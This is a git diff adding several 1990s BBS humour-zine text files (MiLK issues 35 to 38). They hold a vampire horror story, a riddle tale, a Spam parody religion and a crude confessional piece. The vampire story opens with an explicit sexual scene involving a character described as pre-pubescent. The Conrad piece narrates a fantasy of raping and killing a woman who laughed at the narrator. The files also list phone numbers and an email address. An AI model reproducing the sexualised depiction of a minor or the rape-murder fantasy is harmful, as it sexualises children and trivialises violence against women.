for 30 seconds right after being startled +half to death. + + "Yes, I'm... I'm fine" John squeeked through his pre-pubescant +cracking voice box. + + "I didn't mean to frighten you... I only meant to ask if I could sit +here..." She said while slowly approaching John, bringing John's arousal level +to greater heights. + + Getting himself together, John said it was perfectly all right with +him if she sat there also. He calmly sat back down, and the woman joined him +on the small park bench. John could feel her warmth near him as he tried +not to look in her direction, staring once again up at the moon. + + "It's a beautiful night out, wouldn't you agree?" The woman whispered +into John's ear. + + "Yea.. Yes. Yes it is." John said, feeling a sweat break out on +his face and chest. + + John instinctively felt the woman's breath get closer to him as he +tried nerviously to concentrate on the stars. "All right, John," he thought +to himself,"this is your big chance, you could actually get a good fuck for +the first time of your life, and what are you doing, but looking up at the +stars? Grab this chick while you have the chance, John, do it!" + + John mustered up the courage to look at the girl, who was staring +intently at him with a small smirk on her face. John nearly fell out of his +seat when he stared into her eyes to find them to be yellow. Yellow eyes was +not a sight John had ever witnessed before. John questioned if he was losing +his mind or not, but deicided to forget about the strange eye color, it was +not a big issue with him the color of this girl's eyes, all he wanted to do was +get into her pants as quickly as possible. + + The woman, smiling away, made the first move. She slowly brought her +hand up to John's face and began to caress him slowly. John was too amazed +and aroused by this movement that he couldn't even move. He just sat there +staring at her. She leaned over and kissed John lightly on the lips, holding +the kiss for what seemed to John as eternity (in heaven). John found the +woman's lips to be cold, but he figured it had to do with the weather, and +he was just too horny at this point to care either way about little details +like this. + + She pulled back, stared at him smiling, and then went towards him +again. This time she was forceful with her lips, demanding satisfaction. +Her hand roamed all over John's chest as she nibbled on John's upper lip. +John just tried to relax and let his body respond to her, and with that he +traveled her back and hair with his hands. The woman's lips intensified, now +working with higher speeds. She slowly unzipped John's jacket and lifted up +his shirt to feel his not-so-masculine torso area. She was not phased by +this, however, and continued to fondle his body. She soon got down to his +jeans and unbuttoned his button-fly. (John had very little fashion sense, and +since he saw the most good looking girls on the button-fly commercials, he had +decided this would be his best bet in jean purchasing). She stroked up and +down his already quite hard shaft, bringing a wave of energy though John's +body as if he was just about to boil over in her hand right then. Her lips +moved down to his neck and began to nibble playfully at his neck, simply +driving him insane. Her hand was doing quite a number on his shaft now, +jerking him off at such a rate it was amazing that his skin didn't rip right +then. John was in such a stupor of horniness, about to cum all over himself +and this woman, he didn't notice her nibbling on his neck was getting a little +violent. John closed his eyes and moaned in grave approval as spasms went +through his body, covering his jacket and the woman's arm in semen after each +jerk. The woman moaned loudly as she suddenly chomped into John's exposed +neck. John screamed in half pain, half pleasure as his blood went pouring +into the woman's mouth. John was too stimulated by the scene to think anything +of it but just lay there and enjoy the feeling of all the blood leaving his +body. In fact, right before he went unconcious, he thought about how this was +the best way he could have imagined ever ending his childhood. Little did he +know he would never wake up. + +---------------- + + Neil picked up the paper. "Boy found dead; blood sucked out of +entire body" the headline read. He knew it was going to be a long day. +This was the first case he has noticed in a quite long time that has +found its way into the newspaper, which means it's a big case, which +means it's going to be a long day. + + Neil grabbed his extra-large coffee mug and headed out to the +office. + +---------------- + + Joel had been tracking down this woman for almost 3 months now. Every +time he got close to her, she'd for some reason lay low for a while and Joel +would never catch on to her. Joel, by trade, is a vampire hunter. The only +way he makes money is donations from the families of the victims, but this +case in particular was a special one to him. He was determined to catch this +woman. + + Joel woke up that morning to read the headline about the boy that +was found without a drop of blood left inside him. Joel smiled in +anticipation of what the night shall bring. He was going to get this one +finally, after 3 months of tracking it down from state to state. + + Joel filled his car, a Chevy Beretta, quite stylish to most people, +but a moble vampire destruction item to Joel. Joel filled it with his +favorite garlics, his most lethal stakes, plenty of holy water, mirrors, +silver crosses, every little trinket he could get his hands on he had ready +at his disposal. + +--------------- + + Greg sat by the side of the dock, staring down at the sun that was +slowly coming up. He had been here for an hour and a half and not a single +bite had occured on his set of minnows. But Greg was patient, and he knew +that today was going to be his lucky day. His fishing had been in quite a +slump as of late, but today's weather conditions were just right for fishing. +A storm front was approaching quickly, meaning the fish would be anxious for +food. + + A STRIKE! The line was quickly reeled in, but not too quickly as +to risk breaking the line. Quite a fight was put up, but finally, after the +long struggle, the prey was held up to be examined. This one looked healthy. +Yes, oh yes, it was quite a catch. + + The line was removed from the writing prey, leaving it on the ground +flopping around and twitching. The woman put Greg out of his misery; She +quickly chomped into Greg and sucked all life out of him. Her shot had been +perfect - She had hit Greg with her harpoon gun right in the middle of the +chest. She dropped the body into the water, hoping the fish would have quite +a feast with him. + + She felt more powerful than she had in quite a long time. She was +well-nourished, and ready to really cause quite a stir with the natives. She +ran off into the woods as quickly as she had appeared. + +--------------- + + Listening to the police scanner, Joel learned about a dead body found +right off the lakefront. This was the lead Joel expected; He knew exactly +where to find her. He imagined her coffin to be somewhere hidden in the +forest right by the lake. Therefore, this is where Joel traveled to. + + He traveled through the woods for hours, backpack full of little +goodies at his disposal, but to no avail. He did not find what he was looking +for in the slightest. He was just about to give up when he came upon a small +cave. + + A cave! Now THIS was what Joel expected! He pulled out one of his +Bibles, donned his Garlic necklace and his Silver cross necklace, pulled out +a fresh wooden stake, and entered. + + The cave was cold, dark, and damp. It fitted the typical cave +description. There were no bats, however, so it wasn't really that typical +of a vampire story cave. He slowly proceeded down the dark tunnels, until +he finally came to a clearing. + + This part of the cave was so dark, that Joel had to pull out a +trusty lantern to see what was around him. When lit, he did not exactly find +what he was expecting. There was a giant pool in the middle of this cave. +The light reflected off the water in eerie shapes and forms, meaning that +there were definately shapes moving around in the water. Well, Joel thought +to himself, this is certainly not where the vampire is staying. Joel turned +around to leave... + + But the woman was standing in the tunnelway, leaning against the side, +smiling broadly. Joel quickly pulled out his bible and put it in clear view +of the woman, who did not flinch at this fact. + + "Who are you? And why are you here?" Joel demanded of her. + + She chuckled a little at his tone of voice, clearly understanding +who was in charge of this situation. "My name", she replied, "Is Kase. +And I am here because I live here. But what about you?" + + Joel did not have a chance to answer her, because Kase quickly walked +toward him. Joel stared into her eyes and found them to be a shade of yellow. + He quickly grabbed her and threw her into the pool. Relieved, Joel looked +somewhat causiously into the pool, stake drawn and ready. + + Kase got out of the pool, looking quite happy that she was now +drenched in water. She then lunged at Joel, who quickly trust the Stake into +Kase's chest. Kase grumbled in pain, pulled the stake out, and tossed it +aside. She then bit into Joel's neck, the neck that was supposedly protected +by Nature and God. She drank only enough of Joel's blood to render him +unconscious, then she dragged him into the pool. She smiled as she saw the +shadow of Joel's body be covered by long, dark, black shapes. + +--------------- + + Neil was really pissed off. Neil wasn't just pissed off, he was +really fucking mad. The Dominick's by his house was out of Eggplants. How +in The Lord's name are you to survive without a few good Eggplants? Quite +disgruntled, Neil left the store with a few packs of Mentos (The freshmaker!) +and a copy of the Weekly World News. + + Neil drove away in the direction of the lakefront. If nothing else, +Neil thought to himself, at least he can watch some seagulls fly over the +lake. Neil always liked Seagulls. And, he bet, the Dominick's by the lake +has Eggplants. + +--------------- + + Even within the ranks, there is always dissention. Somebody always +wants to be more powerful than everyone else. Such is the case here, or shall +we say, such is the Kase. + + Kase felt a gnawing at her back, and looked over her shoulder to find +one of her minions, Brian, attempting to kill her from behind. Unfortuneatly +for Brian, Kase had fed three times in the last twenty-four hours, and was +a little too strong for Brian to bear. She shrugged Brian aside and commenced +to beat the living shit out of him. By the end of this little struggle, +Brian was just a little pile of flesh lying in the corner of the cave. + +--------------- + + Neil stepped out onto the beach, happy as ever. After 6 hours of +consumer shopping, he finally found the cheapest Eggplants available at +Treasure Island in Wilmette. Now he was lying down on the beach, watching the +sun set, Mentos in hand, ready to be slurped down, and a fresh bag of +Eggplants to add to the mood. Seagulls raced over the lake, calling out to +their friends. Everything was just oh so picturesque. + + Until something odd happened. + + Neil felt a painful pain in his back. Mainly and partly because of +a foot that went crashing into his back. That's right, someone just kicked +Neil in the back. + + "Give me... Give me those Eggplants!" Kase screamed at Neil. + + Neil, quite surprized at this, put down his copy of the Weekly World +News and looked up at this person. What his eyes saw he will never forget. +The woman standing above him, soaking wet, and really pissed off, make Neil's +heart flutter around in a little dance that could be compared to The +Charleston. Or maybe the Tango, depending on whether or not the Heart was +still connected to all the veins and arteries around it. + + (Author's Note: If you are not a believer of Love on first Sight, +please suspend your disbelief for the moment. The storyline needs this to +work.) + + "GIVE ME THOSE EGGPLANTS!" She screamed once again. + + Neil blinked out of the daze for a moment to listen to what the +woman was screaming about. He then realized that this was a woman that had +kicked him and now wanted his eggplants. + + "No! They're My eggplants!" He replied, now quite angry because the +pain in his side was bothering him quite a bit. + + Kase could not hold the little bit of composure she had any longer. +She wanted the eggplants and wanted them now. The only problem was when +Kase gets as flustered as she was at this moment, she loses the current form +that she was in to her original form. Slowly, the skin took the slimy, black +shape it was used to. Kase's arms and legs disappeared. Her mouth widened +and showed the large, sharp teeth. Finally, as the transformation finished, +she toppled over onto the sand. + + Neil, watching this feat, quickly got up to his feat and grabbed all +his belongings. He kept creeping away as the quite angry lamprey kept +sliding around following him wherever he went. To keep her occupied, he +tossed her an eggplant. She quickly took the eggplant in her mouth, seemingly +cradling it, as if to protect it. Neil tossed her another one, and she did +the same with it. He kept up this process until there were 6 eggplants in her +mouth. Kase kept following him, however. + + Neil suddenly kicked Kase right in the mouth. The kick didn't hurt +Kase too much, but it crammed the Eggplants down her throat far enough to +make her choke on them. He continued to ram eggplants down her throat until +she choked to death. + + Neil, impressed by this new variant on lamprey, quickly scribbled its +characteristics on a little notepad for the next update of his Field Guide To +Lampreys, which he puts out every so often. + + You see, Neil, in trade, is a lamprey hunter. He does this kind of +thing every day. Where normal mortal men fall to the attacks of the lampreys, +Neil triumphs and documents his findings in a journal in ensure that the rest +of the human world will someday also be able to protect themselves from these +vile beasts. + + Neil noticed an interesting fact about this lamprey; It was about +the perfect size to be attached the the hood of his car, offically dubbing his +car as "The Lampreymobile". He did a little painting on the lamprey, making +it look more blood stained than it really was, and attached it to the top +of his car. Neil finished watching the sunset, ate the last of his Mentos +(the freshmaker!), got in his car, and drove off into the distance.... + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #035, "The Feeding" By James Hetfield +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 18775 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-036.txt b/textfiles.com/magazines/MILK/milk-036.txt new file mode 100644 index 00000000..6ea21b0e --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-036.txt @@ -0,0 +1,157 @@ + Ü Ü Ü Mighty Issue #36 + Ü Ü Û Û Ü illicit "Road To Somewhere" + Û ß Û Û Û ÛÛ Liquid -By whoops + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + The man slowly ambled his way down the winding road. The road forked, and +the man stopped. "Now which way did Mom say to take.." he mused to himself. He +spotted something sticking up behind a tree in the tongue of land between the +two roads. After a close inspection, he saw that it was a piece of wood. He +grasped it in his hands and tugged, but it was firmly lodged in a crack in the +hard mud. He gathered all his strength and pullllllled.. and it came loose in +his hand. He pulled so hard that he was thrown to the ground, and he sat there +a moment, picking up the pieces of his thoughts from where they'd fallen. He +looked at the piece of wood he held in his hand. + + "Take right, Fame and Fortune await. + Take left, Chance Adventure and Fate." + + He wondered what it meant. "Fame and Fortune...hmmm," he mused to himself. +"That sounds better than fate, maybe that's the way that Mom meant for me to +go." He set out on the right path. He walked, and walked..and walked.. and +moseyed..and meandered..and sidled..and jogged..and hopped...and ambled...and +perambulated..and, to make a long story short.. generally moved in +one direction for a while. He walked for so long that his feet soon began to +ache and moan, muttering nasty things about being trampled. He walked for +hours without seeing a living soul. + As he moseyed along, the path began to narrow. Finally, he came to a dead +end in the road, and he looked around curiously. The road went nowehere. It +stopped in front of him, with a large shrub blocking his way. He reached out +to touch the shrub but hastily drew his hand away, for the shrub was a +shocking sight (and touch,too). He glanced at the bushes around him, and his +eyes passed over a patch of white. He peered through the bush at the patch of +white. Suddenly the leaves rustled, and a figure popped out of the shrub. +"Hello," it said. "I'm Glorie." The man looked at her. She was a foot taller +than him, and he was no midget himself. She had wild hair, almost completely +black, but with a streak of burnt sienna in the middle. It looked like a fiery +ember trailing down the center. Her hair poured down her back and spilled +halfway to her feet. She was dressed in all white. She spoke again. "Tell me +the answer to this riddle, and I can show you where you are to go." + + "My first is the first of First, + Next comes the beginning of the Afterlife. + Followed on by the start of Myself, + Finished with the end of Time." + + The man pondered this for a minute, and then answered. "Correct!" she +said, a bright tone in her voice. "You can go on now. Hang a ralph." The man +started to tell her that there was no road going right; after all, the road +had already ended. But then he looked at the right, and there was a perfectly +paved road leading on. What a mircle. Well, he should expect that with his +Father. He thanked her and continued on his way. Presently he came to a tall +statue that was lying in the middle of the road. He tried to pass it, but it +rose up and extended an appendage. "Stop," it commanded in a deep bear-a-tone. +"PhootyNacho must have an answer to this: + + The start of the finish is my first. + Nothing is my second. + My third forms 'to be' for you, + My fourth a cross is reckoned. + My fifth is you yourself, + My sixth is the middle of the end, + My seventh is the beginning of the end." + + The man answered correctly, earning an appreciative look from the hunk o' +wood. "Clever, pal. Go west, young man. Go back to the fork and take the other +way. This is not the way for you." By now, the man was getting used to things, +and he looked up and gee-whilikers, there he was at the original fork in the +road. But the statue was gone. He looked at the sign that lay in the road and +mumbled, "...fate..." He wondered once more what the rest of the sign read. +But, no matter, at least he knew which way to go this time. So he started +along the left fork, putting one foot in front of the other, then the other, +then the other, losing track of how many feet he had put in front of each +other. He never had been very good at math. Presently he came to another fork. +A small gnome rushed out from a nearby bush. He was short and stout and +carried a brown leather sack on his back. He sprang up to meet the man's face +and hurriedly shouted, "take a chance, damnit! answer it!" and then screamed: + + "A hundred is my first, + The start of the heart comes next. + Following is the beginning of the answer, + Continued on by the end of men. + A square of ten closes on, + Concluding with the end of time and space." + + The man quickly shouted out the answer and the gnome excitedly sidled away +to the bar that he had been partying at before. Whatever. The man looked again +at the road, and found that the fork he had been at only seconds ago had +disappeared, and instead there lay a long, straight road that led on up to the +horizon. The man realized he had a while to go yet and decided to rest first, +so he settled down on the grass beside the road and drifted off to sleep. Some +time later he awoke to find himself in the midst of a great wood. He crawled +to his feet, steadying himself against a nearby tree. He heard a giggling +sound and the tree quivered beneath his touch. As he looked up, he saw the +tree move and expand up into the sky. It stretched until its branches were as +high as the sun. Then its trunk shimmered and a face appeared on it. It spoke. +"Who are you? Oh, geez, Jess, it's been a while. You haven't visited your Dad +in ages, you know," the tree said to the man. "But just in case it's not you, +you gotta tell me this: + + Liturgical season before Christmas day, + You are the next yourself, + The second word of that second phrase, + Conclude with the end of the meaning of life." + + The man thought about the riddle for a moment and then gave the correct +response. The man sighed, mumbling, "I wish Dad didn't have that asshole enemy +and didn't need all this protection, these riddles are getting harder and +harder." The tree then reached out one of its long branches and pointed the +way the man was to go, and the man sauntered along some more. He walked for a +bit until he reached a pond in the middle of a clearing. Next to it was a +large sign declaring "DRINK" in bold letters. He realized that with all this +trekking he had developed a thirst, so he settled down next to it, cupped his +hands, and drank from the cool clear water. His surroundings shimmered and +changed until he was standing before a grand gate, encrusted with pearls and +with spires of gold and white twisting around it. Several birds flew around +the gate, which seemed to stretch for miles into the sky. The man walked up to +the gate and demanded, "Let me in! Let me in, I say. Dad?" Suddenly a booming +voice came from the top of the gate, "Who art thou? Answer this riddle first: + + Beginning of Far Reaching Life + Beginning of the Answer + Beginning of Time + Beginning of the End." + + The man gathered his strenth and yelled up to the top of the gate, "Pete! +Hey, Pete! Darn it! It's me, Remember? Didn't dad say I was coming? Mom's +letting me stay the weekend. Let me in, will ya? I swear, sometimes I thin +kit's really not worth it to visit Dad anymore." The booming voice replied (in +a more docile tone) (if it is even possible for a booming voice to say +anything in a docile tone), "Oh, Jesus. Oh sorry, Jese, Right away Jese!" and +the gates silently swung open, obviously having received some WD-40 as an +X-mas present. + A great white being flew down from the sky and alighted nearby. "Oh, +Jesus, I'm extremely sorry. I beg your pardon. We didn't expect you till +afternoon." + "Aw, that's all right, Pete. Don't worry about it. Mom was busy helping +dad build some cabinets or something and she sent me early. Now how about you +see to getting me a good strong cup of coffee? And tell Dad i'm here. There's +a good angel." + And St. Peter flew away. + + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #036, "Road to Somewhere" by whoops +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 8967 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-037.txt b/textfiles.com/magazines/MILK/milk-037.txt new file mode 100644 index 00000000..b05bb76c --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-037.txt @@ -0,0 +1,167 @@ + Ü Ü Ü Mighty Issue #37 + Ü Ü Û Û Ü illicit "The Religion of the Spambiterians" + Û ß Û Û Û ÛÛ Liquid -By Malakai + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + SPAM and Regarding the Religion of the Spamibiterians +------------------------------------------------------------------------------ + + I here at my computer have devised during many tedious hours of +boredom in and out of school the religion which will soon be known to the +world as Spamibiteria. This religion envolves the worship of Spam and those +products thereof, as well as animals which are directly related to this +beloved and just meat. This will cover the generalities, which include the +10 Spamandments, a few exerts from Spalms, and the Legend of the Chia Pet +from the Book of Duck. + + The Holy Book of Spam +------------------------------------------------------------------------------ + The Holy Book of Spam is divided into Books. These Books are as +follows: The Creation, Spamcidis, Spalms, Monkverbs, Duckthemew, Duck, and +Monkius, and Relevations. The most important books are of which Spalms and Duck. +The first, the Book of Spalms, is where the Ispalmic teachings of the Middle +East and the Spamibiterian teachings of the west agree. It is from where the +10 Spamandments can be read, as well as the 10,005 praises of Spam. The later, +the Book of Duck, is where the Legend of the Chia Pet is derived as well as +the sacrafices nessecary on Spamy Days. + + Important Spamy Days +------------------------------------------------------------------------------- + There are several minor Spamy days in which the Spamibiterian church +observes and practices religious ceremonies. I will list them in chronological +order from the beginning of the year. + +January 5th: The New Dawning of Spam- This holiday is observing the start of +Spam and his advancements in modern age. The Holy Duck of Spam is to be eaten +on this day and the gizzards of said Duck will be fed to either a large cat +or a monkey. + +May 18th-25th: The Week of the Rising Spam- This celebrates the period in +the Spam Wars of Old where Monkian Igraduck overcame the 5 headed Chia Pet +in the deserts of Arizona. ALL traditions, including the destruction of the +chia pet, must take place on this day. A new chia pet will be planted on the +25th for the Destruction of Chiakind holiday. + +June 30th: The Creation of Spam- This is the date that all Spam is at its best; +This is the date Spam was invented, back in 1078, by the ancient philosopher +and reknown chef, Stuun Delot. With this advent, the glorious Spirit of Spam +could assume physical form and lead his masses of followers. The Monkey of the +Spam will be fed Spam until he chokes and dies from it on this day, and then +you will cook the corpse and eat it, feeding the stomach to the house-duck. + +October 31st: Chia Night- This is the night that the spirits of the long +dead chia pets come and haunt the streets. This poses a great danger to +all those who have seen the light of Spam. On this day, a can of Spam will +be nailed to the front door, to keep these evil spirits away. + +December 10th: The Destruction of Chiakind- The Chia pet which was planted on +May 25th in the end of the Week of the Rising Spam will be doused in gasoline, +put in 10' deep hole, then light a flame, and when the flame goes out, you will +read the Chia Banishment Scroll then bury +this evil corpse. You will plant a new one on December 11th, for destruction on +the final day of the Week of the Rising Spam next year; This symbolizes the +constant struggle between Spam and the Chiakind. + +These are the major Spamy days; These are widely practiced. Please use caution +when preforming these rituals, as the evil spirits of chia may escape, and Spam +help you if you aren't protected. + +The 10 Spamandments +------------------------------------------------------------------------------- + + The 10 Spamandments clearly instructs the people who have seen the +light of Spam on how to treat the physical embodyment of thier sacred meat. + +1) You must never eat Spam with a fork, a knife, or a spoon. Only a plastic +spork shall please the sacred meat. + +2) The juices of Spam must never touch the ground, if you can not properly +dispose of your sacred juice, you must sacrafice it to the Spirit of Spam, +by dumping it over your dogs head. + +3) The Duck of the Spam must be eaten on Spamy days. + +4) You must NEVER feed your chia pet Spam, for all chia pets are evil and +desire to kill you. + +5) If you can not finish the Can of Spam which was given to you by the +Spirit of Spam, you can return it by putting it in your cats feed dish +or feeding it to your house duck. + +6) The Monkey of Spam is to be fed one loaf of spam per week; Not two, not +three, and not four. One is the number of loaves they must eat per week. +The only exception is on June 30th. + +7) The Empty Can of Spam is to be recycled, only by recycling the Empty Can +will you recieve more gifts of Spam by the Spirit. + +8) Do not throw Spam over your right shoulder, your left shoulder, in front of +you, behind you, over your head, or onto the ground. If this happens, see +Spamandment 10. + +9) Spam can not come within 30 feet of fire. + +10) If Spam ever touches the ground, you must freeze it. Once it is frozen you +must break it into tiny pieces and bury each 31 feet under the ground. Then you +must fill up the grave with dirt. The final preperation for the forgiveness of +the great crime of dropping Spam is that you must place a 24 hour torch on each +of the gravesites. Only after this shall the Spirit forgive you. + + +The Legend of the Chia Pet (Duck Cp I-III) +------------------------------------------------------------------------------- + + The Chiakind and Spaminites were friends in the early days, but the Chia +Pet had other intentions, quite horrible things to do with this friendship. The +Spaminites were a farming race, farming thier spam trees, planting and etc.. +with much help from the Spirit of the Spam they had grown from a small people +to a great nation! The Chiakind was extremely jealous of this and so they +began to raise a great army to assault the Spaminites. + + The leader of the evil Chiakind's army was Gnumon Humpfry, the assault +was to happen on the Creation of Spam holiday. The great army charged, but +the great Spirit of the Spam was awake and waiting. The Spirit had told the +Spaminites to keep half its army ready on the border between Spaminiah and +Chiapetria. The Evil Lord of Chiakind was FURIOUS! He called upon his wizards +to summon a 5 headed Chia Pet, one with claws of bronze and breath of flame. + + The Chiapus Maximus as it was called, decended upon the Spaminite army, +and the Spaminites, striken with fear, fled back into Spiminiah. Only one +man remained, Monkian Igraduck, a Spam farmer from the desolate southern +wastes. Monkian led the Chiapus into the desert which he called home. There +they fought for 4 days, and on the 5th day, the Chiapus begged for mercy. +Monkian granted it, and as he went to help Chiapus up, Chiapus attacked. +Monkian was injured, but not killed. This assault made the Spirit furious, so +the Spirit gave Monkian the sacred Sword of Spam. Monkian then made easy +work of Chiapus. + +This is the Legend of the Chia Pet + + In Conclusion +------------------------------------------------------------------------------- + + In conclusion, you must have integrity and an open mind to see the +light in which the Spirit of Spam can offer. If you wish to become a part of +this church, membership is the cost of a mere postage stamp. Write to: + + + The Church of Spambitirea + 632 Warrior Ln. + Round Lake Heights, IL 60073 + +Hope you find peace in your food! + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #037, "The Religion of.." by Malakai +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 8496 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-038.txt b/textfiles.com/magazines/MILK/milk-038.txt new file mode 100644 index 00000000..f0a1975b --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-038.txt @@ -0,0 +1,171 @@ + +ÛÛÛÛÛ ß ß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÝ +Û ² ² Ý +Û ²² ²² Mighty Illicit Liquid Kollections Ý +Û ² ² ² ² ² Ý +ÛÛÛÛÛ ² ² ² ² ² Ý + ² ² ² ² ² ² ÛÛÛÛÛ File #038: "Conrad" Ý + ² ² ²² Û Ý + ²²²²² ² ² Û -By Conrad Ý + ² ² Û Ý + ÛÛÛÛÛ Ý + + + "GIVE ME THOSE EGGPLANTS!" She screamed once again. + + ----------------------------------------------------------------------------- + + Hello. My name is Conrad. I work at a store that sells flowers. We also + sell things made of straw, and animals shaped out of wood. Many sexy women + come into our store to buy things. This is why I work here. + + First I must tell you about myself. I am 17, I like to listen to Janet + Jackson, and I play AD&D alot by myself. My favorite show is a sitcom + called "The byrds of paradise" on Channel 7, but I also watch Wheel of + Fourtune (becuase Vanna White is pretty, especially now since she's + pregnent) and Star Trek:TNG. I like to drink Gator-Aide and RC Cola. + I use my money from the flower store to buy transcripts of Nightline + and Larry King Live. I subscribe to Wildlife Magazine and Sports + Illistraded for Kids, and my bed time is 9:30 (but sometimes I can stay + up to 11 if my mom comes home late from work). I go to Star Trek + conventoins alot, and my favorite actor in the world is Armon Shimmerman, + the guy who plays Quark on Deep Space Nine. I have an autographed picture + of him that I keep by my bed. + + I got into this "computer thing" when I was about 14. I called a D-Dial + named Point Zer0 and I made alot of friends. I ran a BBS called the + Squierrel's Nest (which ran SBBS) and I was co-sysop on Snarf's Music + Studio. I write MOD's in my spare time and I collect stamps. I also collect + pottato chips which look like famous people. + + Well one day I met a man named James Hetfield. He showed me a "milk file" + and I was amused. Soon I became obsessed with Milk and I memorized every + file. I had not had so much fun since chn 32 played Mork and Mindy reruns. + So I decided to write a text file for milk. This is it. + + I will talk about my job today. I hope you don't mind. I will try to be + as "funny" and as "witty" as I can. But I am not good at that sort of thing. + I get beat up alot when I try. So excuse me if I don't make you vomit from + intense laughter. + + At my store I help people buy flowers for loved ones. As I said in the + intro, many sexy women come to the store. Sometimes my penis stands up + becuase, they look so pretty. I once met a woman with big boobs. I think + she knew I was attracted to her becuase she kept winking at me. She + wanted some flowers which were out of stock, so I was going to have to + deliver them to her house when they came in. She gave me her adress and + said to stop by after her husband left for work. (He is a police officer + and ex-army guy). My penis was almost blue by now. I felt very happy that + I was knew where she lived. This was it. + + So, you're probably saying now, "Hey Conrad, that's totaly radical. Way to + go dood!" But it was not. How was I going to have sex with this woman + if I didn't have condoms? I don't what to get HIVs. And I am too shy to + buy condoms. And she might not even like me. What was I to do? + + I decided to go without condoms. In fact, I was not even going to dress up + or anything. I just threw on my Mortal Kombat tee-shirt and some pants + and went to her house. It was 9am. I rang the bell.. + + RING + + RING + + RING + + RING + + Was she home? Had she lied to me? Was she playing some kind of cruel game + on me? Just then the door opened. It was her. She was wearing tight + jeans and a tight shirt which exposed the lucius (sp) curves of her pretty + breasts. My penis (we'll refer to him as Little Elvis from now on) stood + up tall and proud. My mouth started to water. My heart started to skip + beats. I pee-ed in my pants. I was _wet_. + + She invited me in. "Oh, you have my flowers. Thank you for bringing them + here! Why don't you come in and have some pop?" I gladly excepted. I was + starting to wish I had got the condoms when I had the chance. I was "gonna + get some p*ssy" as the rappers say, and I was totally un-prepared. As I + sipped on my soda, we chatted about the weather and current events. (At + the time, Tonya Harding was the big poop). She asked me if I found Tonya + Harding attractive. Bingo - here was my chance. "Not nearly attractive + as you!". She giggled and looked into my eyes. I felt ontop of the world. + WHOOP THERE IT IS! Little Elvis shot a load of sticky cream all over my + pants. I blushed.. I moaned... DAMNIT! DAMNIT! (God forgive me for + swearing!) It was all over. I came in my pants.. And she could smell it + too! Icky bad! I was begining to cry. She laughed at me! I ran out the door + and headed for home.. I was going to kill myself. I am such a loser. + + *** + + Well, after taking a shower and thinking this out, I decided not to kill + myself. Instead, I would have to kill her. That would fix everything. + She couldn't laugh at me if she was 6 feet under, now could she? Yeah, + that would teach that stupid &$*@#. I made a prayer to Jesus and asked + him for forgivness. Then I headed back to her house - with a bat. + + I rang the bell again. She answered and said "Oh, it's you again. You left + so quickly I forgot to pay you for the flowers. Um, what's that bat + for hun?" I stoped and tried to figure out what was going on. What had + I become? Was I really going to kill this nice lady just becuase she laughed + at me? She called me hun.. maybe that means something. Instead of killing + her I'll just rape her.. then kill her.. (or maybe the other way around!) + Who cares? I ran up to her and ripped off her shirt.. + Her big FAT boobs flooped in the wind. + I started to suck on them. Uhhh yes.. + + Then I woke up. + BLaH! + + I could only wish that was a true story. But I'm just lame old Conrad. I + have no life. Everything past the *** was made up. I never went back. I am + still a virgin. I quit the job at 'Flowers by Pual' and stayed home all day + long during the summer. I eventually got a job at 'Just Tires' where I + currently work, and life is back to normal. Sigh. + + Anyway, that's the most exciting thing I could come up with, fellow + MiLK-Heads. I tried. God, I tried. Was it 'witty'? Did you laugh at + least once? I hope so. PLEASE send me your comments about this file to + + 1) chucks@chinet.com <- my uncle's email adress + 2) Conrad on 'Obloid Shpere BBS' + 3) Or call my house at 708-251-5049 and ask for Conrad + + Thank you for your support! I hope to hear from you soon. I could use + some friends + + ÄÄ[An Offical Conrad(SM) Text File]ÄÄÄÄÄÄÄÄ + Halo# = One + Date = June, 24, 1994 + Time = 7:47 PM + I was watching = CNN Worldnews + I was listening to = B96 + I was eating = pork + I was in my = bedroom + I plan to write Halo Two = in a week + I plan to masturbate = soon + I'd like to thank: Buster Himan + Phill MCrackin + Mom + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + + For more information call 1-800-686-3694 (it might take a few rings + so be patient) + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Greaseacker Baure Palice...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The 